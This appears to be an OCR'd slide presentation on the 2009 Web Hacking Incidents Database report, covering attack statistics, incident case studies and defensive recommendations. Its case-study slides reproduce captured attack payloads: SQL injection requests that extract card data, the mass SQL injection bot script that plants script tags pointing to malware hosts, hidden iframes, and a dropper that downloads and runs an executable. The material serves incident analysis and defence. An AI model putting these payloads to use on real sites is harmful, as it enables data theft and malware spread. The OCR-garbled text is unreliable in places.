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= Leader of Breach Security Labs
= ModSecurity Community Manager
= Previously Chief Security Officer for government client ﬁ
= Background as an IDS/Web Security Admin
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= Blog WITH APACHE

= http://tacticalwebappsec.blogspot.com
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= Open Web Application Security Project (OWASP)

= Speaker/Instructor e OWASP
= Project Leader, ModSecurity Core Rule Set O s

= Web Application Security Consortium (WASC) Qs ‘ngAlt
_ ‘Web Application

= Board Member Security Consortium

= Project Leader, Distributed Open Proxy Honeypots

= The SANS Institute S ANS

= Courseware Developer/Instructor

= Center for Internet Security (CIS) I% the CENTER for

INTERNET SECURITY
= Apache Benchmark Project Leader e —
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» The Challenge of Risk Analysis for Web Applications

= Available Vulnerability Resources

= Available Attack Resources

= The Web Hacking Incidents Database (WHID)
= 2009 Bi-Annual Report

= 2009 Incidents of Interest

= Defensive Recommendations
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Tro

Issues

= Connectivity S

= HTTP(S) is open to just about anyone
= UFBP (Universal Firewall Bypass Protocol)
= Complexity
= Multiple Tiers
= \Web Services Complexity
= B2B
= Web 2.0/Mash-Ups
= Web application flow diagrams?

= Extensibility

= New features are constantly being added

Extensibility

———
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Unintended
Functionality
(Security Testing)

Missing/Broken

Functionality
(Found through Configuration Mistake

(Security Testing)

Functional Unit Testing)
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n Se
ation

= Threat - Web Attacks are Crime Driven:
= Today, most done for money and not for glory. Sk
= Performed by professionals or for a cause.

» Vulnerabilities — Complex and Poorly Code
Applications: Master

DISCOVER

= Priority of features and schedule before
security.

= Developers are not trained in secure coding for
the web (Trusting User Input).

= Impact - Web Applications Access Sensitive
Information:
= Manipulate critical data
= |nformation Disclosures

BREACH



= \Web Attacks are Stealth:
= Victims hide breaches.
= |ncidents are not detected.

= Statistics are Skewed:
= Defacement (visible) and information leakage

(regulated) are publicized more than other breaches.

= Mass attacks are not properly reflected.

= Merely a data sample - Numbers reported by WHID
are statistically insignificant

57 for 2008
44 for 1st half of 2009

= Would it happen to you?

= How does your organization’s security compare to
others in your vertical market?
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= Databases
= SANS @Risk, Bugtrag, Mitre CVE

= Statistics
= WASC Statistics Project
= OWASP Top 10

= Provides the “vulnerable” Risk
component.

= Skewed towards “easy to find"
vulnerabilities.

= Are these the most costly (impact)?

= Are these the same ones that are
actively being exploited (risk)?

=
n
=
E

CrosssiteScripting Information Lealage SGLinjecion
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= Based on the CVE
vulnerability
database.

= Minor expert
adjustments (CSRF
for example).

= |s it prioritized based
on real world
attacks? We will see
In this presentation.

A6

A7

A8
A9

XSS is up, but probably
overrated from a risk
perspective

Includes SQL
Injection.
Combining many

attacks to A2
CSRF | allowed so many
Informa new entries
Imprope .
Broken Au The new kid in
Session Ma

town. Overhyped
TS,  but may become
Insecure Comni-Wele] 1111106131}

A10 Failure to Restilihaa dlgLEl New

vulnerability in
the future. BREACH



= \WASC Distributed Open Proxy Honeypots
Project
(www.webappsec.org/projects/honeypots/)

= Function as conduits for the attacks by running as
an open proxy servers.

= (Great resource however it is still limited in scope.

= Zone-H (www.zone-h.org)

= The most comprehensive attack repository, very
important for public awareness.

= Reported by hackers and focus on defacements.
= Data loss databases (datalossdb.org)

= Includes any data loss incidents (lost laptop, etc...

= Addresses a larger problem.

Attack Method Total 2007
Attack against the
administrator/user

(password 141.660
stealing/sniffing)
Shares 67.437
misconfiguration
File Inclusion 61.011
SQL Injection 35.407
Access
credentials
through Man In Al
the Middle attack
Other Web
Application bug LR
——
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I I cantlnuous web

The Web Hacking
Incidents Database

A Web Application Security
Consortium (WASC) Project dedicated
fo recording web application security
related incidents.

http.//www.xiom.com/whid

Home

[The web hacking incident database (WHID) is a Web Application Security
IConsortium project dedicated to maintaining a list of web applications related
|security incidents.

[WHID goal is to serve as a tool for raising awareness of the web application
|security problem and provide information for statistical analysis of web
lapplications security incidents. WHID has been featured in Information Week and

application security

{= The Web Hacking Incidents Database | xiom.com - Windows Internet Explorer,

@E}: - |* hittp: f e, iom, comjwhid

* & [* The Web Hacking Incidents Database | xiom.com

= - [ Page -

_gl- Tools = ”

Xxiom.com

Proactive Web Application Security

Recent Web Hacks
he Web Hacking Incidents Database

WHID 2009-26: F-Secure
Joins The Breached AV
Vendors Club

WHID 2009-25: Zone-H
defaced

WHID 2009-24: New
Phishing Attacks Combine
Wildcard DNS and XSS

WHID 2009-23: Miley Cyrus

l<1ash dot Twitter Account Hit By Sex-
JEa=.do Obsessed Hacker e
< | >

[ & € mnternet FH100% v .
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= |ncidents since 1999
= Each incident is classified

Attack type

Outcome

Country of organization attacked

Industry segment of organization attacked
Country of origin of the attack (if known)
Vulnerable Software

= Additional information:

A unique identifier: WHID 200x-yy
Dates of occurrence and reporting
Description

Internet references

e Co
urnty Inc

Home :: The Web Hacking Incidents Database - 2009 Incidents

WHID 2009-26: F-Secure Joins The Breached AV

Vendors Club
4 Tagged: F-Secure

Updated: 19 February 2009

Attack Information
WHID ID: 2009-26
Date Occured: 11 Feb 2009
Attack Method: Cross Site Scripting (XS5)
SAL Injection
Qutcome: Leakage of Information

Target Information
Attacked Entity Field: Technology
Attacked Entity Geography: Finland

Source Information
Attack Source Geography: Romania

It wasn't surprising that after attacking a Kaspereski and a BitDefender web sites,
Uno, the Romanian hacker, would continue to strike anti-virus vendors. This time
he found a vulnerability in the web site of Finish AV vendor F-Secure. Somewhat
less severe than the others, the vulnerability enabled the hacker only to access
virus statistics.
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= The database includes only
Publicly disclosed incidents.

Only web application related
incidents.

= |ncidents of interest

We do not include most mass
defacements.

Defacements of “High Profile”
sites are included.

= Criteria

Ensure quality and correctness
of incidents.

Severely limits the number
of incidents that gets in.

US feds pull travel site offline after hacker break-in
GovTrip trips up
By Dan Goodin - Get more from this author

Posted in Security, 19th February 2009 19:29 GMT
Free whitepaper — The greening of IT

A travel reservations website used by US government agencies remains offline more than a
week after it was infected with malware that tried to install malicious code on the PCs of

those who visited the site.
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BOSton BsTness Journa

Doesn’t specify the

Tuesday, September 19 2006 attack vector. Was this a

Life is good database hacke Sisaiasgaiaiak

Boston Business Journal - Boston Business Joumal

Life is good Inc. has notified several customers that a database containing their confidential credit card information was recently
breached by intruders.

The Boston-hased apparel company said Tuesday that intruders illegally accessed the lifeisgood.com database, which included address
and credit card numbers for about 9,250 Life is good customers. Although it is unclear if any data was copied, the illegally accessed
information included name, address and credit card numbers. The database did not include date of birth, social security or driver's license
numbers.

Company officials said they have put additional security measures in place to prevent future violations. The breach was reported to federal
law enforcement authorities who are investigating the incident.



\ FEDERAL T'RADE COMMISSION
PROTECTING AMFEFRICA'S CONSLIMERS

MNews Cmn,pemlnn - Consumer Prpt&cunn Economics | General Counsel Antlpns
About Public Affairs | Public Events | Speeches | Testlmnny| Weht:asts | Blogs | Repnrl:er Re

For Release: January 17. 2008

Online Apparel Retailer Settles FTC Charges That It Failed
to Safeguard Consumers’ Sensitive Information, in
Violation of Federal Law

Credit Card Numbers, Expiration Dates and Security Codes of Thousands
of Consumers Compromised

The FTC alleges that, as a result of these failures, a hacker was able
to use SQL injection attacks on Life is good’s Web site to access
the credit card numbers, expiration dates, and security codes of

L —
thousands of consumers. T
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January — June 2009
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Incidents per Month
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Australia New Zealand

South America 50 | 6%

Middle East 2%
4%
Asia

6%

WHID Interface and
Contributors are mainly
English speaking so entries
are a bit skewed
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Manual Targeted Attacks

and Mass SQL Injection

Bots
Worm
DNS Hijacking_ 5%
5% O\
Cross-site Request __ Overrated - Easier to

ForgergoéCSRF) find than to exploit for

profit.
Cross-site ‘
Scripting (XSS) an

8% Hiding compromise
details or
¢ Inadequate logging
o . 10% |
Configuration/Admin
Error
8% Insufficient Anti-

Automation

DoS/Brute F e T
(DosiBnite Force) BREACH



= SQL Injection is still the #1 attack vector
= Percentage, however, dropped from 30% to 19%

= Mass SQL Injection bots of 2008 are tapering off

= Unknown category is still #2

= Technical details aren’t usually disclosed except by regulatory entities (FTC) or
by the attacker’s themselves (public blog posts/screenshots)

= Content Spoofing attacks have increased dramatically

» Death by a thousand cuts
= |nsufficient Authentication (mistakenly publishing sensitive data)
= Configuration Mistakes/Administration Errors
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I continuous we
application secumy

SQL Injection Example

Real Multi-Step Manual Attack
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Attacker Application is expecting
targets an an email address in the
ASP page. LoginEmail parameter.

Request Details

GET /cart/loginexecute.asp?LoginEmail='%200r%201=convert (int, (select%20@@version%2b'/'%2b@ \
@servername$2b'/'%2bdb name () $2b'/'%2bsystem user))--sp password HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/]jpeg, image/pJjpeg, */*

User-Agent: Microsoft URL Control - 6.00.8862

Host: www.example.com

X-Forwarded-For: 222.252.135.128

Connection: Keep-Alive

Cache-Control: no-cache, bypass-client=222.252.135.128

e~
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Attacker injects an SQL
Query in the LoginEmail

parameter.

Request Details

GET /cart/loginexecute.asp?LoginEmail="'%200r%201l=convert (int, (select%20@@version%2b'/'%2b@ \
@servername$2b'/'%2bdb name () $2b'/'%2bsystem user))--sp password HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*

User-Agent: Microsoft URL Control - 6.00.8862

Host: www.example.com

X-Forwarded-For: 222.252.135.128

Connection: Keep-Alive

Cache-Control: no-cache, bypass-client=222.252.135.128

e~
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riables

Attacker is attempting to enumerate
system information to help fine tune

their attack.

Request Details

GET /cart/loginexecute.asp?LoginEmail='%200r%201=convert (int, (select%20@@version%2b'/'%2b@ \
@servername%2b'/'%2bdb name () %2b'/'%2bsystem user))--sp password HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/Jjpeg, image/pJpeqg, */*

User-Agent: Microsoft URL Control - 6.00.8862

Host: www.example.com

X-Forwarded-For: 222.252.135.128

Connection: Keep-Alive

Cache-Control: no-cache, bypass-client=222.252.135.128

e~
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Request Details

GET /cart/loginexecute.asp?LoginEmail='%200r%201=convert (int, (select%20@@version%2b'/'%2be \
@servername%2b'/'%2bdb name () %2b'/'%2bsystem user))--sp password HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/Jpeqg, image/pINm

User-Agent: Microsoft URL Control - 6.00.8862
Host: www.example.com

X-Forwarded-For: 222.252.135.128 When an MS-SQL DB

Connection: Keep-Alive server receives this
Cache-Control: no-cache, bypass-client=222.252.135.12 string, it will NOT |og the

transaction even if
auditing is enabled.

e~
BREACH



Response Details

HTTP/1.1 500 Internal Server Error
Content-Length: 598 AttaCk genel’ates a

Content-Type: text/html 500 level status error
Cache-contreol: private COde

Set-Cookie: ASPSESSIONIDCCQCSRDO=EHEFPIKBBRBI
Connection: close

<font face="Arial" size=2> Page InCIUdeS SQL
<p>Microsoft OLE DB Provider for ODBC Error text.
rror '80040e07'</font>

<p>

<font face="Arial" size=2>[Microsof

e="Ariagl" size=2>e \

ODBC SQL Server Driver] [SQL Server]Syntax N\
error converting the nvarchar wvalue 'Microsoft SQL Server 2000 - 8.00.2039 (Int \
el X8e)

-May 3 2005 23:18:38

.Copyright (c¢) 1988-2003 Microsoft Corporation

.Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1)

/EXAMPLE SQL/OPT/OPT2' to a column of data type int.</font>

e~
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Response Details

HTTP/1.1 500 Internal Server Error

Content-Length: 598 Injected SQL Query executed

Content-Type: text/html g

Cache—controel: private syccessfu!ly and the output is

set-Cookie: ASPSESSTONTIDCCQCSRDO=FINeIEIEVWTo NI MU -R-14de R () (M N1 1o (g

Connection: close now knows the DB version, Service
<font face="Arial" size=2> Pack Level’ etc...

<p>Microsoft OLE DB Provider for ODBC Dri
rror '80040e07'</font>

size=2>e \

<p>
<font face="Arial" size=2>[Microsoft] [ODBC SQL Servce Driver] [SQL Server]Syntax \
error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Int \
el X86)

.May 3 2005 23:18:38

.Copyright (c) 1988-2003 Microsoft Corporation

.Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
/EXAMPLE SQL/OPT/OPT2' to a column of data type int.</font>

e~
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Request Details

GET /cart/loginexecute.asp?LoginEmail='%200r%20
archar,isnull (convert (varchar,OR OrderDate),' Attacker sends a new SQL

t (VarChar,OR_orderID) 5 "NULL' ) ) %2b' / ! %Zbconvert( Injection attack that is targeting
), 'NULL'))%2b'/'%2bconvert (varchar,isnull (conve cIient Credit Card data.

nvert (varchar,isnull (convert (varchar,OR OrderAd
ull(convert(varchar,OR_OrderCity),'NULL'))%2b'/
OR;QrderZip),'NULL'))%Zb'/'%2bconvert(varchar,isnul varchar,OR OrderState) , 'NULL' \
))%2b'/'%2bconvert (varchar,isnull (convert (varchs _orderCountry},'NULL'))%Zb'/'%2bconver \
. 'NULL') ) %2b'/'%2bconvert (varchar,isnull (con \
vert(varchar,OR_CCardType),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_CCar \
dNumberenc},'NULL'))%Zb'/'%2bconvert(varchar,isnull(convert(varchar,OR_CCardExpDate),'NULL
'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_CCardSecurityCode),'NULL'))%Zb'/'%Zb
convert(varchar,isnull(convert(varchar,OR_Email),'NULL'))%2b'/'%2bconvert(varchar,isnull(c
onvert (varchar,OR Phonel) , 'NULL')) %20from%200rders%20where%200R OrderID=47699))--sp passwo
rd HTTP/1.1

e T e

t (varchar,isnull (convert (varchar,OR CCardName

P

e~
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Response Details

HTTP/1.1 500 Internal Server Error Once agaln, the SQL Query
Content-Length: 573 successfully executed and
Content-Type: text/html

extracts customer data.

Cache-control: private
Connection: close

<font face="Arial" size=2>
<p>Microsoft OLE DB Provider for ODBC
rror '80040e07'</font>
<p>

<font face="Arial" size=2>[Mic POft] [ODBC SQL Server Driver] [SQL Server]Syntax \
error converting the wvarcharalue "Feb 13 2007 12:00AM/47699/John/Doe/128 Da \
niel Someplace Dr /City/06354/DC/US/John C Doe Jr/ /k&#151;Utdwa#136;1i&#132;&#1 \
41; &#133;qzzv/02/2009/4792/jdoe@email .net/888.555.7578"' to a column of data t \
ype int.</font>

<p>

<font face="Arial" size=2>/cart/loginexecute.asp</font><font face="Arial" size=2 \

s</font> <font face="Arial" size=2>e \

e~
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Phishing
2%

Link Spam
4%

Downtime
4%

Monetary Loss
1%

Disinformation
19%

e~
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= Defacements/Planting Malware remains #1
= Percentage, however, decreased from 41% to 28%

= Information Leakage/Stealing Sensitive Data remains #2
= Percentage increased from 21% to 26%

= Disinformation jumped to #3
= Monetary Loss and Downtime stayed at #4 and #5

———
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= Threat — Generic SQL Injection
= Site value is it’s large customer-base.

= Vulnerabilities — 3 issues Mass SQL Atta

= Lack of Input Validation

= Poor Database configuration/SQL
construction

= Lack of proper HTML Output Encoding ®>H i
= Impact - Cross-site Scripting/Malware

TechNewsWorld » Security | Read Next Article in Security

ck a Wake-Up Call for Developers

- | By Erika Morphy E Print Version

TechNewsWorld i E-Mail Article

| 04/28/08 2:03 PM PT B Reprints

A novel hacker attack on Web servers that rely on
Microsoft SQL database technology has the security
community in something of a dither. There seems general

o agreement that the mass SQL injection approach is highly

sophisticated, that it could work against any database,

| nStal | atiOn . and that developers need to stick to best practices to keep their systems safe.

= Attack uses sites as malware distribution
point.

= May cause database corruption.

e~
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= Custom coded web
applications provided
diversity/uniqueness that
prevented mass exploit
outbreaks.

= Reconnaissance was
required to enumerate app
structure.

= Manual probing offered
defenders time to react.

= Mass SQL Injection bots

7

1
7

inject a script that
enumerates and updates
databases.

———
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@ Infected computer executes Google search for “.asp” + “parameter=*
and sends SQL Injection+Malware exploit to all returned hosts

e e =,
< = 42| [ % Ead bt
. | % - B @ - D eage ook -
Web Images Maps News Shopping Gmail more v i | My Notebooks | Web History | My Account | Sign out
Goog[e s i st
‘Web Results 1 - 10 of about 124,000 for ".asp™ inurl:"statid="_ (0.34 seconds)
Bop Stats rrowpropert uk
Bt D co kbt business_bey.asp.
B oo vtorapertes 5 e aic caeme asp 5

co.ukBye

-2006&month=4&day=8 - 30k

Address to General Assembly thematic debate: "Climate Change as a ...

Jul 31, 2007 . UN Logo UN News Centre logo and link back to News Centre home - Home.

Press Room - Multimedia - Tools & Services - Resources - News FOCUS ...
n 5~ 12k -

www_u
Cached - Similar pages - Note this

ADODB.Recordset. 1 error '80004005' SQLState: 37000 Native Error ...
[MERANT][ODBC SQL Server Driver]ISQL Server]Statement(s) could not be
prepared. /apps/news/infocus/sgspeeches/statments_full.asp, line 28.
www_un.org/apps/news/infocus/sgspeeches/statments_full asp?statiD=290: - 2k -
hed - Similar pages - Note this

S from www un org »

M

Ouesen Tpya - [ Transiato this pago ]
W3bepu bpoi. MNeTk, 5 Centemspy 2008 r. YeTBbpTHK, 4 Centemspy 2008 r. Cpapa, 3
Cenemapn 2008 r. Bropik, 2 CenTemapi 2008 r. Monegentiuk, 1 Centemapi 2008 ...
trud.bg/Defaut. 1

avascriptignb._openg

K=

@ intemet %100% -

@ Victim views page — malware downloads

Fle Edt Vew Favodtes Tods Helo

i Pavortes | iy @ - B web Apgheatin Frewal ... [T Free rotmal &)
@ M Page - OuASE

page || discussion wew source | [ mistory

Main Page

BN OWASP APPSEC

—— Script runs inside victim’s
e prowser, exploits browser
vuln and downloads trojan

Downloads
QWA SP Podcast Saries hastad by Jim Manico

Local Chaplers
Global Commifises

The Open Web Application Security Project (OWASP) is a worldwide
free and open community focused on improving the securty of P - Limen Now
application software_ Our mission i to make application security

uisible. S0 that people and organizstions ¢an make informad dacisions.

OWASP Announcement Feed
& @ termat va | Wow -

@ Script silently downloads trojan code attacker’s website

Application with SQL
Injection vulnerability

/A

Target Site

A

BREACH



GET /target.asp;DECLARE%20@S%$20NVARCHAR (4000) ; SET%$20Q@S=CAST
(0x4400450043004C00410052004500200040005400200076006100720
06300680061007200280032003500350029002
C004000430020007600610072006300680061007200280032003500350
0290020004400450043004C004100520045002

——CUT--

2006C0065005F0043007500720073006F00720020004400450041004cCo0
04C004Fr0043004100540045002000540061006
2006C0065005F0043007500720073006F007200%20AS%$20NVARCHAR (40
00) ) ;EXEC(@S);—-1178|80040e14|
Unclosed_quotation_mark before_ the_character string ’'G;DEC
LARE_(@S_NVARCHAR (4000) ; SET_@S=CAST
(0x4400450043004C00410052004500200040005400200076006100720
06300680061007200280032003500350029002 C00400043002000". -
202.101.162.73 HTTP/1.0

Mozilla/3.0+ (compatible; +Indy+Library) — 500 15248

e~
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Select all
;elect a.géme;b.name ) i Cothwnsin a”
rom sysobjects a, syscolumns
where a.id=b.id tables
and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or
or b.xtype=167)
OPEN Table_Cursor FETCH NEXT lterate
FROM Table_ Cursor INTO QT, QC over them

WHILE (QEFETCH_STATUS=0)
BEGIN

exec (*
update ['+@T+"']
set ['+@C+']=rtrim(convert (varchar, ['+@C+']))

+''<script
src=http://www.gigigm.com/m. js></g ;
FETCH NEXT FROM Table_Cursor INTO G Append script
END

tag pointing to
CLOSE Table_Cursor
DEALLOCATE Table_Cursor malware




= Originally targeted
ASP/ASP.Net front-end
with MS-SQL back-end

= We are seeing evidence of
different front-ends being
compromised

= ColdFusion (.cfm)
= PHP (.php)
= Java Server Pages (.jsp)
= Java(.do)
* Therefore many websites

“thought” they were safe
but weren't...

s._
ont-ends

Google |"<sn:ript sro="http:/fenani (. douhungn.cnfocsrssh js">" inurlphp

Weh

"=<ftitle=<script sre="http:/Ilmnww0.douhungn.cnlcsrssiw.js ...

"= ftitlex <script src="http://'wwwi _douhungn.cn/csrssiw.js" > </script=<l--Caoming Event.

Print page. "= About Us - Christian Products - Catholic Mewsletter ...

wwir thewellspringbookstore. com/advice_detail fILgrid=15 - 10k - Cached - Similar pages

i_ateqory: tech mix - internet mix [internsat mix]
Aug 25 2008 ... H'HRC+] where "HEC+ not like "%"=</title><script

src="http:/’wrwwl.douhunqgn. cn/csrssiw.js"==/script>=<--"IFETCH NEXT FROM

Table Cursor ...
blog. ninanet. comdblog! . phpiechmixd - B2k - Cached - Similar pages

e —
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s;._
cript Code

DECLARE QT wvarchar (255),@C varchar (4000) DECLARE

Table Cursor CURSOR FOR select a.name,b.name from
sysobjects a,syscolumns b where a.id=b.id and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167) OPEN Table Cursor FETCH
NEXT FROM Table Cursor INTO (@QT, @C

WHILE (QRFETCH_STATUS=0) BEGIN exec('update ['+Q@T+']
set ['+Q@C+']=["+Q@C+']+''"></title><script
src="http://sdo.1000mg.cn/csrss/w. js"></script><!—-
''" where '+Q@C+' not like ''$"></title><script
src="http://sdo.1000mg.cn/csrss/w. js"></script><!——
'"'"'")FETCH NEXT FROM Table Cursor INTO @QT,dC END
CLOSE Table Cursor DEALLOCATE Table Cursor

i —.
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okies

PayrenneT Today's Internet Threat Level: GREEN
Smmf Handler on Duty: Johannes Ullrich
(CENTER

POST /removed.asp HTTP/1.1

Cookie: start=S
end=Z%3BDECLARE%20@S%$20VARCHAR (4000) $3BSET%20
@S$3DCAST (0x44454. ...

Content-Type: application/x-www—form-
urlencoded

Host: removed

Content-Length: 3

Expect: 100-continue

Connection: Keep-Alive

= Are you logging full request headers that include Cookie data? .

BREACH



' Defacement + Malware_

WASC Distributed Open Proxy Honeypot Project

€A |HaCkeD By 0x90 [HaCkeD By 090, .,
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<l==

document.write (unescape ("<iframe width="0"
height="0"
src="http://royy.byethost7.com/url.htm"
scrolling="no" frameborder="0"></iframe>

<iframe width="0" height="0" src="bicho.wml"
scrolling="no" frameborder="0"></iframe>

<iframe width="0" height="0" src="bicho.htm"
scrolling="no" frameborder="0"></iframe>

<lframe width="0" height="0" src="embed.htm"
scrolling="no" frameborder="0"></iframe>"));

[/—=>
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tf

Instal

= fso.CreateTextFile(cSystemDir + "runit.vbs", true);

//tf = fso.CreateTextFile("c:\\runit.vbs", true);

tf.WritelLine ("On Error Resume Next");

tf.WriteLine ("URL = \"http://rzone.com.ar/xD.exe\"");

tf.WriteLine ("Set xml = CreateObject (\"Microsoft.XMLHTTP\")");
tf.WriteLine ("xml.Open \"GET\", URL, False");

tf.WritelLine ("xml.Send");

tf.WriteLine("set oStream = createobject (\"Adodb.Stream\")");
tf.WritelLine("oStream.type = 1");

tf.WriteLine ("oStream.open");

tf.Writeline("oStream.write xml.responseBody");

tf.WriteLine ("oStream.savetofile \"" + cSystemDir + "xD.exe\", 1");
tf.WritelLine ("oStream.close");

tf.WriteLine("set oStream = nothing");

tf.WritelLine("Set xml = Nothing");

tf.WriteLine ("Set oShell = createobject (\"WScript.Shell\")");
tf.WriteLine ("oShell.run \"" + cSystemDir + "xD.exe\", 1, false");
tf.Close();

objShell.run("\"" + cSystemDir + "runit.vbs\"");

———
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<object name="x"
classid="clsid:12345678-1234-1234-
1234-123456789012"
codebase="mhtml:file://C:\NO SUCH MHT.
MHT 'http://www.rzone.com.ar/xD.exe">
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Huge jump from 2008

Finance Education — mainly due to
5% 5% gair

Ente

Was #3 in 2008
Being targeted

Retail
Technology 12%

12%

Will always be
y high on WHID

A
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I | contmuous web
pplication security

2009 Incidents of Interest

Finance/Retail Attack Methodology
Unu vs. Anti-Virus Vendors
Twitter Attacks
Time’s Most Influential Poll

———
BREACH



cker Metho

They identify Web sites that are vulnerable to SQL injection. They appear to target
MSSQL only.

They use "xp_cmdshell", an extended procedure installed by default on MSSQL, to
download their hacker tools to the compromised MSSQL server.

They obtain valid Windows credentials by using fgdump or a similar tool.

They install network "sniffers" to identify card data and systems involved in processing
credit card transactions.

They install backdoors that "beacon” periodically to their command and control
servers, allowing surreptitious access to the compromised networks.

They target databases, Hardware Security Modules (HSMs), and processing
applications in an effort to obtain credit card data or brute-force ATM PINs.

They use WIinRAR to compress the information they pilfer from the compromised
networks.

http://usa.visa.com/download/merchants/20090212-usss fhi advisory.pdf

i —.
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File Edit
<>}

a O L= (O hitp:fiskats.F-secore, com,

Detailed information on Microsoft SQL Server 2000 - 8.00.2039
(Intel X86) May 3 2005 23:18:38 Copyright {c) 1988-2003 Microsoft

Corporation Standard Edition on Windows NT 5.2 (Build 3790:
Service Pack 2)

MName: Microsoft SCQL Server 2000 - 3.00.2039 (Intel X358 May 3
2005 23:158:38 Copyright (c) 1283-2003 Microsoft
Caorporation Standard Edition on YWindows MNT 5.2 (Build
3790: Service Pack 2

First reported: Friday, January 05, 1900, 6 (GMT +H1200)

Last reported: Monday, July 24, 2005, 00:57:04 (ST +H2200)
Trend last 24 h: -

Search for information about Microsoft SQL Server 2000 - 3.00.2032 (Intel *56) May 3
2005 23:13:38 Copyright () 1933-2003 Microsoft Corporation Standard Edition on
Windows MNT 5.2 (Build 3790: Service Pack 2)

» 100% [}



= |nsufficient Anti-Automation

= Twitter does not block
repetitive login failures

= Attacker compromised an
Admin account that had a
tool which allowed password
resets for other accounts

= Compromised 33 accounts
including President Obama’s

= 3 different WHID Events

ack
entials

WHID 2009-2: Twitter accounts of the famous hacked

(Updated)

4 Tagged: Password

Updated: 11 January 2009

— Attack Information

WHID 1D: 2009-2
Date Occured: & Jan 2009
Attack Method: Brute Force
Insufficient Authentication

- Dutcome Information

Outcome: Defacement

— Target Information

Attacked Entity Field: Web 2.0
Attacked Entity Geography: USA
Attacked System's Technology: Administration Tool

— Source Information
Attack Source Geography: LUSA

e~
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< SC rWM 6:15 +0000 2009

S

</ S(-’m}fb%c EH) n grﬂljur}r htlfjp 7‘%3 amazonaws.com/twitter production/profile background

ack
Feeds

5009-4: Twitter Personal Info CSRF

feSetter " ruser finction(obj){f

= tp //s ama pnaw§ cqm/twutE rT l}ct}ylproﬁle _images/228672477/Paint

—'m@éanﬂ@mﬁmkéﬂﬂﬂmx

wah ehagemusicgeek

FaShEo nev

'.ahttmd{gﬂ Entlt[.r Fleld WebE 0

a)

ages/19 7839/Black _Keys.jpg
ﬂiér'fz% BLpHeHie Time (US & Canada)

%ﬁ%ﬁ?‘lﬁzﬁ%"ﬁ Sfony: taly

sprotile_background_color=1AIBIF
Jlocation=USA

id=29869995 e —
"user BREACH




Pilowte  d s P - SO Wi Dot b iy St el M T 1] EEE

( Don't Click )

Jﬁ: Inspect  Edit iframe < body = html
Console HTML | C55 Script DOM  Net Options
v <html>

p <head=

¥ <body=

AJ <iframe scrolling="no" src="http://twitter.com/home?staotus=Don't Click:
http:/tinyurl. com/amgzs6">

p <html lang="en" xmlns="http:/ww.w3.org 1999 xhtml"” xml:lang="en"=
</1frame>
<button=Don't Click</button=

<p style="margin-top: 5@px;"> </ p>
<p style="margin-top: S@px;"> < p> i
<p style="margin-top: S@px;"> ... </p> v

Q

Style | Layout DOM

iframe {
height: 228px;
left: -4@88px;
opacity: @;
position: absolute;
top: -17@px;
width: 550px;
z-index: 2;

L3

o
Y

Options

yes-we-can.php (line 6)

e,
BREACH




ack

Profi

WHID 2009-37: Twitter XSS/CSRF worm series
var up (Updated)

) ~
It's ¢ | N
.)")_ Updated: 19 Aprl 2009
) Y 'r=Attack Information

SIC=| wWHID ID: 2009-37
sre= Date Occured: 11 Apr 2003
Attack Method: Cross Site Request Forgery (CSREF)

var . Cross Site Scripting (XS5)

NeW - outcome Information

"aul Outcome: Disinformation )=
Worm

hon g

S" v~ Target Information
’ | Attacked Entity Field: Web 2.0

"aut
hon

—Source Information
Attack Source Geography: USA
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WHID 2

Updated: 1t
— Attack Infor

WHID ID: =
Date Occw
Attack Metl

— Outcome In

QOutcome:

— Target Infor

Attacked E
Attacked E

a Fey

Hhp Jintao

Efic Cantor

+amal Mubarak
al-Naimi
qtada al-Sadr

Elizabeth Warren
Mannv Pacquiao

Trries

Avg. Rating
87
42
42
40
39
38
37
37
36

BERE

3
30
29
28
27
26

24
>3

Total Vote
1=,u3u,521-|acked
1,632,411
1,200,088
1,281,854

1,425,061
1,215,008
1,311,525
1,069,787
1,195,005
1,045,245
B0, 115

637,426

622,054
621,182

646,446

614,359

580,189
580,389
627,786
564,004

550,800
9,382,234

e~
BREACH



= Target Poll URL

http://www.timepolls.com/contentpolls/Vote.do
?pollName=time100_2009&id=1883924&rating=1

= Auto-voter SPAM link URL
http://fun.qinip.com/gen.php?id=1883924&rating=1&amount=200
= Auto-voter page display

Down voting : 1883924 to 1 % influence 200 times per page load.

* Time's response — implement an MD35 hash key

———
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<html/>

<head>

<title>

<[title>

</head>

<body>

<img src="http://www.timepolls.com/hppolls/votejson.do?callback=processPoll&id=335

&choice=18&key=a4f7d95082b03e99586729cHde257e7b" />

<imgsrc="http://www.timepolls.com/hppolls/votejson.do?callback=processPoll&id=335&
choice=1&key=a4f7d95082b03e99586729c5de257e7b" />

</body>
</html>
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ontmuous web
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Defensive Recommendations

Web Application Situational Awareness
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SITUATIONAL AWARENESS

ENOWING THE DIFFERENCE BETWEEN A LUNCH-TIME DIVE AND BEING LUNCH




niIn
ess Questi

= Can you detect when web clients are acting abnormally?
= Can you correlate web activity to the responsible user?
= Can you identify if your web application is not functioning properly?

= Can you identify iffiwhen/where your application is leaking sensitive
information?

= Can you detect new or mis-configured web application resources?

= Does your operations, security and development staff utilize the same
operational data to troubleshoot problems and remediate identified
vulnerabilities?

= Can you quickly conduct proper incident response to confirm events?

e —
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Point of entry to compromise Compromise to discovery Discovery to mitigation
Years Minutes Minutes
Months Minutes Years Hours Years Hours
7T T 2%~ 0% _— 3% Months 19~ "joq
Days 14% —
‘ ’ 14%
Days
Weeks 27%
18%
Months
Weeks
62% 48%
/*\
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siness Unl

Development

Secure Coding
and ldentification
of coding bugs

Operations InfoSec

Virtual Automated/
Patching/Report manual scanning
App Defects and pentesting

i —.
BREACH



Prog
ort

- Common Weakness Enumeration

. Sponsored by w .-‘nCqumnumi{?hmv'elupﬁlal)icriﬂsﬂg-'sﬁf Sﬂflw‘;ilf‘e Hiknae\ts 'gpes
= National Cyber Security Division (DHS)

= |nformation Assurance Division (NSA)

= Group of security experts from 35 organizations
= Academia
= Purdue, Univ. of Cal., N. Kentucky Univ.

= Government
= CERT, NSA, DHS

= Software Vendors
